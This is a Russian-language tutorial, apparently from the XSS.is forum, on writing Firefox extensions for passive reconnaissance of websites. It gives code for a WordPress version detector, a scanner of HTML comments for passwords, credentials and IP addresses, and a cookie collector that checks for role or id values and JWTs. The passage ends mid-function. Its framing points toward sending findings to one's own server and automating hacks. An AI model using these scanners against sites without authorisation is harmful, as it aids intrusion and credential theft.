Не так давно на форуме Patr1ck написал интересную статью по разработке антифишингового расширения для браузера Google Chrome. Убедившись, что планы по статьям не пересекаются, решил таки написать на тему хацкерских расширений. Тем более запрос на тему расширений есть.

Чем хорошо расширение для браузера?​

С одной стороны, у скриптов расширения есть все те же возможности, что и у пользователя. Есть доступ к HTML-коду страницы, к хранилищам используемым веб- приложением, есть возможности автоматизации под видом пользователя. С другой стороны, мы имеем доступ к событийной модели браузера, возможность генерировать новые запросы и т.д. Таким образом, есть возможность повысить эффективность поиска подходящей цели. Вы просто серфите по сайтам, а в это время расширение проводит проверки… если что-то обнаружилось, можно выкинуть уведомление, отправить данные на свой сервер или в Google-таблицу, сохранить скриншоты или вовсе полность автоматизировать взлом по известной уязвимости. Хоть управление голосом прикручивайте, благо для этого есть стандартные возможности и потребуется пару десятков строк кода. Всем, кроме владельцев Mac, на яблоках есть ограничения…

При помощи расширений можно писать сканеры уязвимостей, как пассивные, так и активные. Можно автоматизировать задачи, вплоть до написания спам-ботов или ботов прогревающих аккаунты. Можно реализовать некоторые виды эксплоитов. Можно собирать информацию, например, как Wappalyzer собирает информацию о технологиях. Можно создавать справочники с быстрыми подсказками, например, генераторы reverse-shell’ов.

Что мы сделаем в рамках статьи​

Запихать все в одну статью невозможно, поэтому будет небольшая серия в которой реализуем практически все описанное выше, от сканеров до эксплоитов и ботов. В этой статье, сконцентрируюсь на вопросах сбора информации, пассивного сканирования сайта. Сделаю несколько небольших расширений, которые дадут понимание процесса разработки, а так же будут неплохой основой для доведения их до интересной вам кондиции.

Начну с расширения определяющего версию Wordpress. В ходе его разработки, вы познакомитесь с тем, как между собой взаимодействуют разные части расширений, а также поймете насколько все легче чем кажется.

Второе расширение будет посвящено более общему сбору информации о веб- приложении и больше будет похоже на несколько мини-расширений, как отдельные модули объединенных в одно:

  • Поиск чувствительной информации в комментариях к коду
  • Сбор ссылок, в том числе из JS-файлов
  • Анализ кукисов и локального хранилища
  • Анализ запросов/ответов
  • Поиск поддоменов веб-приложения и получение информации о DNS

Цель второго расширения, познакомить с более широкими возможностями работы с API WebExtensions и демонстрация взаимодействия с запросами/ответами.

Стартуем​

Писать расширение будем для браузера Firefox. Но стоит помнить, что в целом, разница между API Chrome и Firefox не такая существенная, поэтому практически каждое расширение можно адаптировать под нужный браузер В любом случае, всё всегда начинается с файла manifest.json. Именно этот файл дает браузеру понять, как взаимодействовать с разрешением. Самый простой вариант файла выглядит примерно так:

JavaScript:Copy to clipboard

{
    "manifest_version": 3,
    "name": "Passive Hack | XSS.is",
    "description": "Extension for passive scanning of web applications. Developed specifically for the article on the XSS .is website",
    "version": "0.0.1"
}

Нет, серьезно, это уже готовое расширение, которое браузер “скушает”. Просто оно ничего не делает. Даже иконки не имеет, только название, версию и текстовое описание. Чтобы добавить наше расширение для дебага в браузер, нужно перейти по адресу about:debugging#/runtime/this-firefox и нажать “Load Temporary Add-on”... После чего оно появится во временных расширениях.

1729906994965.png

Обратите внимание, что использовать будем третью версию манифеста, не вторую. Это влияет не только на структуру самого json, но и в целом на то как браузер будет взаимодействовать с расширением. Третья версия — это актуальная версия для Chrome и Firefox.

Файлы расширения WP Detect​

Чтобы более-менее точно определить версию Wordpress, нам потребуется подобная структура::

  1. Контентный скрипт, который будет отвечать за обработку HTML-кода и дополнительный запрос с целью найти фид и по нему определить версию
  2. Фоновый скрипт, так как контентный скрипт знать не знает о существовании возможности отправить уведомление в браузере.
  3. Попап-окно, в котором будем выводить развернутые данные по определению версии

Файл манифеста будет выглядеть следующим образом:

JSON:Copy to clipboard

{
    "manifest_version": 3,
    "name": "WordPress version detector | XSS.is",
    "description": "WordPress version detector. Developed specifically for the article on the XSS .is website",
    "version": "0.0.1",
    "background": {
        "scripts": ["background.js"]
    },       
    "content_scripts": [
        {
            "matches": ["<all_urls>"],
            "js": ["content.js"],
            "run_at": "document_end"
        }
    ],   
    "action": {
        "default_icon": "images/logo.png",
        "default_title": "WP Version Detect | XSS.is",
        "default_popup": "popup.html"
    },
    "permissions": ["notifications", "storage", "tabs", "unlimitedStorage"]
}

Я не буду сейчас останавливаться на разрешениях, которые потребуются расширению, чтобы не дублировать текст. Где потребуется остановиться подробнее, я про них напишу. Сейчас же важно понимать только то, что мы просто перечисляем нужные нам объекты API WebExtension.

Свойство background​

Эти скрипты работают в контексте браузера. У них нет прямого доступа к контенту сайта, зато они имеют доступ ко всем интерфейсам API WebExtensions: управление вкладками, пунктами контекстного меню, bookmarks, уведомлениями и т.д. Кроме того, фоновые скрипты позволяют спокойно делать запросы на любой урл, независимо от политик. При необходимости есть вариант использовать фоновую страницу, загружая в нее любой урл. Достаточно, в background добавить свойство “page”. Причем, можно спокойно использовать отдельно или совместно со “scripts”.

То, что фоновые скрипты работают в контексте браузера, не говорит об их изоляции. Расширения имеют систему обмена сообщениями, через которую спокойно можно передавать данные. Мы будем пользоваться этим, например, чтобы по итогу работы контентного скрипта выкинуть уведомление браузера. Плюс, фоновые скрипты могут спокойно делать инъекцию javascript-кода.

В определении версии WP, фоновый скрипт носит вспомогательную роль — он просто уведомляет пользователя о факте определения версии:

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener(async (data, sender) => {
    if (data.action == 'notify') {
        browser.notifications.create({
            type: "basic",
            title: `Possible Wordpress Version: ${data.host}`,
            message: `${data.host} site is probably built on Wordpress version ${data.maybeVersion.version}. This is indicated by ${data.maybeVersion.count} mentions of the version`,
          });
    }

    return false
})

Все функции детекта возложены на контентный скрипт, который по итогу выполнения сохранит данные и запустит метод sendMessage(), передав браузеру сообщение. Как видно из кода выше, фоновый скрипт просто вешает слушателя на событие onMessage(), который перехватит тот самый sendMessage().

При получении сообщения, есть возможность принять три аргумента:

  1. Данные. Это может быть что угодно, но я предпочитаю объекты. Так можно передать тип события и сами данные.
  2. Sender - понятно из названия, это объект описывающий отправителя
  3. sendResponse - функция, при помощи которой можно вернуть реакцию на сообщение. У нас функция асинхронная да и в целом не предполагается наличие ответа, поэтому всегда возвращаем “false”

Ну и крайний элемент фонового скрипта, это запуск “notifications.create”. На самом деле, очень скудный вариант запуска, так как уведомления имеют множество опций влияющих на внешний вид и поведение. Можно даже кнопки прикрутить, если оно того требует.

Свойство content_scripts​

Это скрипты, которые встраиваются в само веб-приложение. Практически так же, как владелец сайта подключил какие-то свои js, браузер подключает ваши контентные скрипты. Скрипты помещаются в контекст страницы и могут взаимодействовать с DOM, вызывать функции сайта, менять значение переменных и т.д.

Свойство “matches”, помогает задать шаблон урла к которому будет подгружаться контентный скрипт. Соответственно, можно задать конкретный сайт или, например, работу только с сайтами базирующимися на “http://*” или использовать универсальный "<all_urls>".

Свойство “run_at” может иметь ключевую роль в вашем расширении, так как оно указывает когда должна производится инъекция. В нашем случае, скрипт добавляется после загрузки всего.

Обратите внимание, что свойства “js” и “scripts” (в background) массивы. Загрузка массива происходит в порядке указанном в манифесте. Поэтому, если требуются общие переменные или функции, их нужно объявлять в первом загружаемом файле скриптов. Мы будем пользоваться этой особенностью во втором расширении, чтобы добавлять новые модули.

content.js WP Version Detect​

Для определения версии WordPress: из нескольких мест берутся потенциальные версии с неким “весом вероятности” , после чего веса суммируются и максимальный вариант считается правильным. Как только найдена “правильная версия”, сохраняем значения в локальное хранилище и оповещаем пользователя. Пройдем по шагам:

JavaScript:Copy to clipboard

(async function() {
    ...
})();

Напомню, что скрипт загружается после загрузки всего документа сайта. Поэтому, оборачиваю код в самовызывающуюся функцию. Асинхронной делаю её для того, чтобы была возможность дождаться выполнения нужных асинхронных функций, напрример, данных из локального хранилища:

JavaScript:Copy to clipboard

let savedValue = await browser.storage.local.get([window.location.host])
    if (Object.keys(savedValue).length) return

Сейчас данные нужны только для того, чтобы избежать повторных определений. В ином случае, расширение вас закалупает оповещениями.

JavaScript:Copy to clipboard

let versions = []
    const metaWP = document.querySelector('meta[name="generator"]')
  
    if (metaWP) {
        versions.push({
            originalValue: metaWP.content,
            version: metaWP.content.replace('WordPress ', ''),
            type: 'Meta Generator',
            weight: 10
        })
    }

Если у нас есть мета-тэг указывающий на генерацию вордпрессом, сохраняем информацию в массив потенциальных версий. Каждый вариант указывающий на возможную версию, храним в массиве versions в виде объекта. Не думаю, что есть смысл комментировать каждое его свойство.

JavaScript:Copy to clipboard

const verRegexp = /(?<=wp-includes).*(?<=ver=)(.*)/
  
    const getEntries = (query, param, title) => Array.from(document.querySelectorAll(query)).map(el => el[param].toString()).filter(el => verRegexp.exec(el)).map(el => ({
        originalValue: el,
        version: /(?<=ver=)\d\.\d{1,2}\.\d{1,2}/.exec(el)[0],
        type: title,
        weight: 1
    }))


    let cssWP = getEntries('link[rel="stylesheet"]', 'href', 'CSS Version')
    let jsWP = getEntries('script', 'src', 'JS Version')


    versions.push(...cssWP)
    versions.push(...jsWP)

Немаловажную роль, в определении версии, имеет параметр “ver”, который классически цепляется ко всем JS и CSS в WP. Для сбора этих параметров написал стрелочную функцию getEntries(). В ином случае, пришлось бы почти полностью дублировать процесс сбора css и js отдельно. Хотя между ними разница исключительно в запросе поиска (“link” против “script”) и интересующем параметре (“href” против “src”).

Функция получает все HTML-объекты подходящие под поиск и преобразует в HTML- коллекцию в обычный массив. Но нам нужны не объекты, а ссылки, поэтому первым “map” исправляем несправедливость, оставив только строки. Фильтром, используя регулярное выражение “verRegexp” избавляемся от строк не содержащих “wp- include” и “ver”. После чего преобразуем массив строк в массив объектов по структуре предыдущего. Ну и завершаем действие объединением, сложив полученные значения в “versions” через деструктуризацию.

Следующим шагом сделаем запрос к фиду сайта. Кстати, дополнить это действие можно запросом к файлу лицензии и readme.

JavaScript:Copy to clipboard

try{
        let response = await fetch(`${window.location.protocol }://${window.location.host }/feed/`)
        let feedText = await response.text()
        let feedRegex = /(?<=<generator>).*wordpress.*(\d\.\d{1,2}\.\d{1,2})(?=<\/generator>)/g
        let feedGroups = feedRegex.exec(feedText)


        if (feedGroups.length < 2) throw new Error('Empty wp')
        versions.push({
            originalValue: feedGroups[0],
            version: feedGroups[1],
            type: 'Feed Response',
            weight: 5
        })
    } catch (e) {
        console.log('Feed not found')
    }

Обернул действо в try-catch, т.к. фида может не быть, а заморачиваться с проверками очень не хотелось. Хотя можно было меньше писанины сделать…

С шагами, думаю, все понятно: стандартным fetch выполнил запрос, дождался результата, получил текст, регуляркой вытащил значение и добавил еще один объект в потенциальные версии.

Самое время подсчитать веса определить победителя:

JavaScript:Copy to clipboard

if (!versions.length)
        return


    let versionWeights = versions.reduce((acc, curr) => {
        if (acc[curr.version]) {
            acc[curr.version] += curr.weight
            return acc
        }


        return {...acc, [curr.version]: curr.weight}       
    }, {})


    let maybeVersion = {
        version: "",
        count: 0
    }


    for(let key in versionWeights) {
        if (versionWeights[key] > maybeVersion.count)
            maybeVersion = {
                version: key,
                count: versionWeights[key]
            }
    }

    if (!maybeVersion.count) return  browser.storage.local.set({[window.location.host]: {}})

Все, что осталось добавить — это оповещение пользователя и сохранение результатов. Для оповещения, как описывал в фоновом скрипте, нужно передать сообщение в runtime методом sendMessage():

JavaScript:Copy to clipboard

browser.runtime.sendMessage({
        action: 'notify',
        host: window.location.host,
        maybeVersion: maybeVersion
    })

В параметрах только объект с данными, так как мы не ждем какой-то реакции. Можно спокойно сохранить данные:

browser.storage.local.set({[window.location.host]: {versions, maybe: maybeVersion.version}})

На этом моменте остановлюсь подробнее. У расширения, как у любого сайта, есть свое хранилище. Перейдите в отладку расширений about:debugging#/runtime/this- firefox и кликните по кнопке “Inspect” или “Исследовать”. В открывшемся окне выберите “Хранилище”:

1729907360837.png

На скрине видно, что данные сохраняются в хранилище расширений. В нашем случае, это локальное хранилище. Оно не будет уничтожено, когда закончится сессия, не будет синхронизировано с другими устройствами. Данные хранятся локально и на одном устройстве. Есть варианты использовать не “local”, а тот же “sync”, но в данном случае нет никакого смысла. На всякий случай вот разница между типами хранилищ:

  • local - хранится локально на диске компа и больше нигде. Данные удаляются только когда сносится расширение или принудительно через API
  • sync - тоже самое, но при этом работает механизм синхронизации. Не путать с синхронной записью в хранилище, запись всегда асинхронная. Если вы на двух компах залогинены в браузере, данные хранилища будут синхрониться. Удобно, когда вы трудоголик.
  • session - данные не сохраняются на диске. Оперативная память, кэш… закрыли вкладку, данные удалились.
  • managed - данные задаются админом домена, мы можем их только читать. Никогда не пользовался. Может в какой-то корпоративной сети и есть смысл в подобном подходе.

Чтобы получить доступ к хранилищу, в манифесте мы запрашивали разрешение на “storage”. Но если внимательно изучить наш манифест, там же в разрешениях есть пункт “unlimitedStorage”. Дело в том, что при запросе доступа только к хранилищу, на нас накладывается ограничение в пять мегабайт. Т.е. Расширение не может хранить больше информации. В целом, 5Mb это неплохо, но мы же с широкой душой и планируем путешествовать по большому количеству сайтов. Поэтому и указал, что нужно безграничное пространство. Оно будет заполняться до тех пор, пока профиль пользователя помещается на диске. Удаление данных произойдет только при удалении расширения… ну или при чистке хранилища.

Данные в хранилище лежат в виде объекта, поэтому при сохранении указываем ключ и значение. В данном случае, ключом выступает имя хоста.

Полный код контентного скрипта:

JavaScript:Copy to clipboard

(async function() {

    let savedValue = await browser.storage.local.get([window.location.host])
    if (Object.keys(savedValue).length) return

    let versions = []
    const metaWP = document.querySelector('meta[name="generator"]')
  
    if (metaWP) {
        versions.push({
            originalValue: metaWP.content,
            version: metaWP.content.replace('WordPress ', ''),
            type: 'Meta Generator',
            weight: 10
        })
    }

    const verRegexp = /(?<=wp-includes).*(?<=ver=)(.*)/
  
    const getEntries = (query, param, title) => Array.from(document.querySelectorAll(query)).map(el => el[param].toString()).filter(el => verRegexp.exec(el)).map(el => ({
        originalValue: el,
        version: /(?<=ver=)\d\.\d{1,2}\.\d{1,2}/.exec(el)[0],
        type: title,
        weight: 1
    }))

    let cssWP = getEntries('link[rel="stylesheet"]', 'href', 'CSS Version')
    let jsWP = getEntries('script', 'src', 'JS Version')

    versions.push(...cssWP)
    versions.push(...jsWP)
  
    try{
        let response = await fetch(`${window.location.protocol }://${window.location.host }/feed/`)
        let feedText = await response.text()
        let feedRegex = /(?<=<generator>).*wordpress.*(\d\.\d{1,2}\.\d{1,2})(?=<\/generator>)/g
        let feedGroups = feedRegex.exec(feedText)

        if (feedGroups.length < 2) throw new Error('Empty wp')
        versions.push({
            originalValue: feedGroups[0],
            version: feedGroups[1],
            type: 'Feed Response',
            weight: 5
        })
    } catch (e) {
        console.log('Feed not found')
    }

    if (!versions.length)
        return

    let versionWeights = versions.reduce((acc, curr) => {
        if (acc[curr.version]) {
            acc[curr.version] += curr.weight
            return acc
        }

        return {...acc, [curr.version]: curr.weight}       
    }, {})

    let maybeVersion = {
        version: "",
        count: 0
    }

    for(let key in versionWeights) {
        if (versionWeights[key] > maybeVersion.count)
            maybeVersion = {
                version: key,
                count: versionWeights[key]
            }
    }

    if (!maybeVersion.count) return  browser.storage.local.set({[window.location.host]: {}})

    browser.runtime.sendMessage({
        action: 'notify',
        host: window.location.host,
        maybeVersion: maybeVersion
    })

    browser.storage.local.set({[window.location.host]: {versions, maybe: maybeVersion.version}})

})();

Свойство action​

JSON:Copy to clipboard

"action": {
        "default_icon": "images/logo.png",
        "default_title": "WP Version Detect | XSS.is",
        "default_popup": "popup.html"
    },

Здесь описывается иконка на панели приложений. Мы просто говорим браузеру, какую иконку использовать, какую выводить всплывающую подсказку и указываем обычный html-документ, который будет выведен как Popup. Кстати, вот html для окна “WP Version Detect”:

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WP Version Detect | XSS.is</title>
</head>
<body>
    <script src="popup.js"></script>
    <div id="header" style="padding: 10px 0;">
        <span id="title">Detected WP version:</span>
        <span id="version"></span>
    </div>
    <table>
        <thead>
            <tr>
                <th>Type</th>
                <th>Version</th>
                <th>Full value</th>
            </tr>
        </thead>
        <tbody id="list">
          
        </tbody>
    </table>
</body>
</html>

С интерфейсом не заморачивался, все же ключевое это продемонстрировать принципы. Суть интерфейса простая: сверху версия, которую скрипт посчитал наиболее вероятной, снизу таблица с параметрами по которым считал скрипт.

За наполнение и поведение окошка отвечает скрипт popup.js:

JavaScript:Copy to clipboard

(async function() {

    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    let url = activeTab[0].url
    let domain = (new URL(url)).hostname

    browser.storage.local.get([domain], savedValue => {
        let data = savedValue[domain]
        let list = document.querySelector('#list')

        if (!data) return
  
        document.querySelector('#version').innerHTML = data.maybe
        list.innerHTML = ''
        data.versions.forEach(el => {
            const tr = document.createElement('tr')
            const tdType = document.createElement('td')
            const tdVer = document.createElement('td')
            const tdVal = document.createElement('td')
            tdType.innerHTML = el.type
            tdVer.innerHTML = el.version
            tdVal.innerHTML = el.originalValue
            tr.append(tdType, tdVer, tdVal)
            list.append(tr)
        })
    })

})()

Весь код обернул в асинхронную самозапускающуюся функцию. Асинхронную, чтобы не городить кучу коллбэков. Разберу, что тут происходит:

JavaScript:Copy to clipboard

let activeTab = await browser.tabs.query({active:true, currentWindow: true})
let url = activeTab[0].url
let domain = (new URL(url)).hostname

Для извлечения данных из локального хранилища, нам нужно имя хоста. Как вы помните, имя хоста выступает ключом в хранилище расширения. Из скриптов popup- окон нет прямого доступа к контенту и контексту сайта, соответственно, получить имя хоста из переменной location не вариант. Приходится обратиться к вкладкам, запросив активную вкладку активного окна. Вообще, по идее, можно проигнорить “currentWindow”, но если открыто несколько окон, может выйти незадача.

Чтобы использовать “tabs”, нужно в manifest.json указать это разрешение. В этот раз мы используем объект “tabs” поверхностно, но по факту это мощный инструмент, который позволяет не только программно управлять вкладками, как это делал бы обычный пользователь, но и реагировать на события.

Когда мы получили домен, можем загрузить данные из локального хранилища и вывести их. Для этого используем метод get() локального хранилища, передав ему ключ и функцию обрабатывающую результат:

JavaScript:Copy to clipboard

browser.storage.local.get(domain, savedValue => {
        let data = savedValue[domain]
        let list = document.querySelector('#list')


        if (!data) return
  
        document.querySelector('#version').innerHTML = data.maybe
        list.innerHTML = ''
        data.versions.forEach(el => {
            const tr = document.createElement('tr')
            const tdType = document.createElement('td')
            const tdVer = document.createElement('td')
            const tdVal = document.createElement('td')
            tdType.innerHTML = el.type
            tdVer.innerHTML = el.version
            tdVal.innerHTML = el.originalValue
            tr.append(tdType, tdVer, tdVal)
            list.append(tr)
        })
    })

Думаю объяснять процесс вывода данных в интерфейс нет никакого смысла. Обычная работа с HTML-документом

На этом расширение для детекта версии Wordpress отложим. Безусловно, даже не пытаюсь называть подобный алгоритм определения версии точным, но все же он способен дать неплохие результаты. Все же, главное в том, что вы с нуля написали достаточно полезное расширение, при этом поработав с телом страницы, системой обмена сообщений и хранилищем расширений. Самое время переходить к более интересным моментам.

Второе расширение​

Как и писал ранее, по большей части это расширение состоящее из отдельных модулей, которые можно дописывать и наращивать. Модульность будет реализована на основе возможности добавления новых скриптов в массивы, как фоновых так и контентных скриптов.

JSON:Copy to clipboard

{
    "manifest_version": 3,
    "name": "Passive Hack | XSS.is",
    "description": "Extension for passive scanning of web applications. Developed specifically for the article on the XSS .is website",
    "version": "0.0.1",
    "background": {
        "scripts": [... ,"js/background.js"]
    },
    "action": {
        "default_icon": "images/logo.png",
        "default_title": "Passive Hack | XSS.is",
        "default_popup": "popup/popup.html"
    },
    "content_scripts": [
        {
            "matches": ["<all_urls>"],
            "js": ["js/content.js", ...],
            "run_at": "document_end"
        }
    ],
    "permissions": [
      "tabs",
      "cookies",
      "webRequest",
      "storage",
      "unlimitedStorage"
    ]
}

Соответственно, вместо многоточия будут подставляться скрипты. Итоговый файл manifest.json будет приведен в конце статьи. Обращаю внимание, что многоточие в background идет перед скриптом background.js, а в контентных скриптах наоборот. В основном фоновом скрипте будет обработчик событий, который вызывает функции из других скриптов. Это значит, что все вызываемые функции должны быть объявлены до основного скрипта. В контентных скриптах, в общий файл поместятся переиспользуемые функции, поэтому он стоит первым.

Как видно из манифеста, структура папок будет следующая:

  • js - здесь будут храниться все скрипты относящиеся к контентным и фоновым
  • popup - папка для всего, что касается всплывающего окна
  • images - изображения проекта

Структуру папок вы можете определить по своему усмотрению, нет каких-то жёстких требований.

Помимо перечисленных выше папок, я добавил папку bootstrap, в которой лежат css и js для наведения красоты.

Хранилище​

Так как расширение будет представлять из себя достаточно разрозненную структуру и нужно организовать процесс сохранения множества отдельных объектов, решил написать отдельную функцию сохранения данных:

JavaScript:Copy to clipboard

function saveData(hostname, key, object) {
    browser.storage.local.get([hostname], result => {
        browser.storage.local.set({[hostname]: {...result[hostname], [key]: object}})
    })
}

Функция принимает имя хоста, ключ хранения и объект для хранения. Сначала получает текущий сохраненный объект по хосту, далее через деструкцию сохраняет объект, перезаписывая конкретный ключ.

На всякий случай пояснения для тех, кто не сильно знаком с особенностями Javascript. При написании [key] и [domain], мы получим имя ключа хранящаяся в переменной. Если написать просто “key”, то имя ключа будет “key”. При использовании квадратных скобок, именем ключа станет то что храниться в “key”

1729907573551.png

Перезапись данных можно представить себе следующим образом:

1729907590418.png

Вернемся к нашему коду. Теперь, сохранение данных можно выполнить двумя способами, в зависимости откуда мы хотим произвести сохранение:

JavaScript:Copy to clipboard

browser.runtime.sendMessage({
    action: 'saveData',
    hostname: window.location.hostname,
    key: 'comments',
    object: [...comments]
})

Так, если мы хотим передать данные на сохранение из контентного или попап- скрипта. Из фоновых скриптов, соответственно, напрямую вызываем функцию сохранения:

JavaScript:Copy to clipboard

saveDataFunction(hostname, 'cookies', {...cookies})

Обратите внимание, что в фоновом скрипте я вызвал “saveDataFunction”, а не “saveData”. Все дело в области видимости. Так как функции фоновых скриптов расположены в разных файлах, они могут не знать друг о друге. Поэтому, при вызове функции собирающей какие-то данные, я передаю функцию сохранения в виде коллбэка через дополнительный параметр “saveDataFunction”, который впоследствии вызываю как функцию:

JavaScript:Copy to clipboard

// Функция обработки кук в файле bg_cookie.js

function checkCookies(hostname, cookiesData, saveDataFunction) {
    ...
    // Обработка данных
    ...
    // Вызываю callback
    saveDataFunction(hostname, 'cookies', {...cookies})
}

// Основная функция в background.js, которые вызывает checkCookies()
browser.runtime.onMessage.addListener(async (data, sender, sendResponse) => {
    ...
    } else if (data.action == 'getCookies') {
        cookies = await browser.cookies.getAll({
            hostname: data.hostname
        })
        // Передаю saveData как callback
        checkCookies(data.hostname, cookies, saveData)
    }
    ...
})

Ищем чувствительный контент​

Начнем с простого. Исходный код страницы может дать нам много полезной информации, можно наткнуться на чувствительные комментарии разработчиков, которые они забыли удалить, собрать ссылки, определить технологии и т.д. Сконцентрируюсь на комментариях. Да, вероятность найти в комментариях кредсы стремиться к нулю, но бывает попадается что-то интересное… закомментированные ссылки на админку, упоминания о поддоменах или айпишники. В процессе разработки, какие только пометки не оставляют программисты. Всегда проверяю комменты, настало время сделать этот процесс удобным.

Искать будем при помощи метода “search” строки. Прелесть в том, что, запихивать в него можем хоть строку, хоть регулярное выражение. Код файла cs_comments.js:

JavaScript:Copy to clipboard

const html = document.body.innerHTML

commentsRegex = /<!--[^>]*-->/g
sensetiveSearchValues = ["passwd", "password", "pass", "creds", /(?<=db).*/, /(https|http|ftp)(.*)/ ,/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/]

const comments = html.match(commentsRegex).map( comment => {
  
    const sensValues = sensetiveSearchValues.map(sens => {
        if (comment.search(sens) != -1)
            return sens
        return false
    }).filter(Boolean)

    return {
        comment,
        sensValues
    }
})

browser.runtime.sendMessage({
    action: 'saveData',
    hostname: window.location.hostname,
    key: 'comments',
    object: [...comments]
})

Обратите внимание, что массив “sensetiveSearchValues” используется исключительно для примера. Если у вас нет идей, чем можно наполнить этот массив, можно обратить внимание на следующие словари: Но, даже если не наполнять словарь, уже гораздо удобнее работать с комментами, чем копаться в исходниках.

Логика кода очень проста и вряд ли вызовет много вопросов. Получил html-код страницы, объявил регулярку для поиска комментариев и массив с интересующими совпадениями. Дальше, применив регулярку к коду страницы, получил массив совпадений которые надо чекнуть на предмет “интересности”. В этом помогает функция “map”, внутри которой вывод подменяется на объект. Объект содержит всего два свойства:

  1. Саму строку комментария
  2. Интересные вхождения — здесь именно та строка или регулярка, которая выдала совпадение.

Завершается скрипт сохранением данных:

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener(onMessageHandler)

async function onMessageHandler(data) {

    if (data.action == 'saveData' && data.key && data.object) {
        if (typeof data.object == 'string')
            data.object = JSON.parse(data.object)
        return saveData(data.hostname, data.key, data.object)

    }
    return false
}

Обратите внимание, что в конце функции я возвращаю “false”. Это нужно на случай, если какой-то из ифов окажется без возврата результата. Важно из асинхронного обработчика события onMessage делать возврат, иначе посыпятся ошибки в связи с непониманием скриптов, где же происходит завершение выполнения функции.

Первые результаты в хранилищи:

1729907711233.png

Вхождения сохраняю, чтобы была максимально полная информация при выводе. Кстати, файл всплывающего окна, пока, будет выглядеть так:

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../bootstrap/bootstrap.min.css">
    <script src="../bootstrap/bootstrap.min.js"></script>
    <title>Document</title>
</head>
<body style="width: 600px;padding: 20px 0; ">
    <div class="container">
        <ul class="nav nav-tabs">
            <li class="nav-item">
              <a class="nav-link active" aria-current="page" href="#">Comments</a>
            </li>
          </ul>
      
        <div class="accordion" id="comments">


        </div>
    </div>
    <script src="popup.js"></script>
</body>
</html>

Ничего необычного, простой проект с подключенным бутстрап. Разве что задана ширина body, эта ширина учитывается браузером при создании всплывающего окошка.

Вся “магия” происходит в файле popup.js:

JavaScript:Copy to clipboard

(async function() {

    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    let url = activeTab[0].url
    let domain = (new URL(url)).hostname

    browser.storage.local.get(domain, savedValue => {
        let data = savedValue[domain]

        if (!data || !data.comments || !data.comments.length) return

        let commentsDiv = document.querySelector('#comments')
      
        const commentsHTML = data.comments.map((comment, ind) => {
            console.log(comment.sensValues.length, comment.comment)
            let body, button = `<span class="accordion-button collapsed text-success">${comment.sensValues.length} | ${comment.comment.replaceAll('<', '&lt;')}</span>`

            if (comment.sensValues.length) {
                button = `<button class="accordion-button collapsed text-danger" type="button"
                                  data-bs-toggle="collapse" data-bs-target="#collapse${ind}"
                                  aria-expanded="false" aria-controls="collapse${ind}">
                                  ${comment.sensValues.length} | ${comment.comment.replaceAll('<', '&lt;')}
                         </button>`
                body = `<div class="accordion-body">${comment.sensValues.join(', ')}</div>`
            }
          
            return `<div class="accordion-item">
                        <h2 class="accordion-header">
                            ${button}
                        </h2>
                        <div id="collapse${ind}" class="accordion-collapse collapse" data-bs-parent="#accordionExample">
                            ${body}
                        </div>
                    </div>`
        })       

        commentsDiv.innerHTML = commentsHTML.join('')
  
    })

})()

Если вы прочитали часть об определению версии WP, код вам покажется очень знакомым. Снова получаем таб, снова берем хостнейм и так далее. Разве что вывод реализован через установку innerHTML для дива с аккордеонами. Когда есть совпадения, указывается их количество и текст выделяется красным, иначе “0” и зеленым.

Ну и перед выводом происходит подмена “<” на html-код. Это, конечно, забавно… но я на самом деле минут 10 не мог понять, что не так с кодом… почему не выводится текст комментария… ))))

На этому работу с комментами завершаем. Но помните, каждый раз при загрузке страницы будут перезаписываться данные по комментам в рамках активного домена. Думаю вы знаете как это можно исправить.

Разбираем Cookies​

Забавно, но недавно мне попадался ресурс с cookie “role”. Любой пользователь мог вместо “user” установить “admin” и без каких-либо проблем попасть в админку. Подобный баг может годами тянуться из какой-то давней-давней версии веб-приложения. Не редко кука представляет собой кодированный base64 JSON или другой формат. Неплохо было бы реализовать чекер, который в фоне тихонько нормализует куки и чекнет их на какие-то интересные параметры. Например: role, id, userid и т.п.

Соответственно, расширение может получить доступ к кукам с двух сторон: из контекста веб-приложения и из контента браузера. Мы будем работать из контекста браузера, так как в этом случае, нас ничего не ограничивает. Главное не забыть прописать “cookies” в списке требуемых разрешений в манифесте.

JavaScript:Copy to clipboard

let getting = browser.cookies.getAll(
  details                // object
)

Чтобы получить куки, достаточно вызвать метод getALL() передав в него фильтры. Если не передать, браузер высыпает все куки. Мы можем каждый раз обрабатывать все доступные куки, но лучше если ограничим хотя бы доменом. Тогда вызов будет примерно таким:

JavaScript:Copy to clipboard

cookies = await browser.cookies.getAll({
            domain:domain
})

К слову о фильтрах, их огромное множество и можно использовать их в любой конфигурации… вместе или по отдельности. Например, мы можем запросить все httpOnly куки хранящиеся в браузере:

JavaScript:Copy to clipboard

cookies = await browser.cookies.getAll({
            secure: true
})

Наше расширение будет работать с активной страницей, поэтому код пишем в контентный скрипт “cs_cookie.js” (не забудьте добавить путь к сприпту в манифест):

JavaScript:Copy to clipboard

let response = browser.runtime.sendMessage({
    action: 'getCookies',
    domain: window.location.hostname
})

В background.js перехватываем сообщение и запускаем обработку:

JavaScript:Copy to clipboard

async function onMessageHandler(data) {

    if (data.action == 'saveData' && data.key && data.object) {
        if (typeof data.object == 'string')
            data.object = JSON.parse(data.object)
        return saveData(data.hostname, data.key, data.object)

    } else if (data.action == 'getCookies') {

        let cookies = await browser.cookies.getAll({
            domain: data.hostname
        })

        checkCookies(data.hostname, cookies, saveData)
        return false
    }
 
    return false
})

Если просто вывести куки XSS.is, увидим примерно такую картинку:

1729907847443.png

Приступим к написанию чекера checkCookies(). Схема работы будет следующей:

  1. Проверяем не является ли значение куки JWT-токеном. Если да, расшифровываем все параметры и продолжаем их анализ в отдельности.
  2. Пытаемся декодировать из base64, на всякий случай дополнив недостающими символами.
  3. Анализируеми, не является ли значение JSON или XML
  4. Ищем в строке намек на чувствительные данные

В коде я выразил это следующим образом (bg_cookie.js):

JavaScript:Copy to clipboard

function checkCookies(hostname, cookiesData, saveDataFunction) {

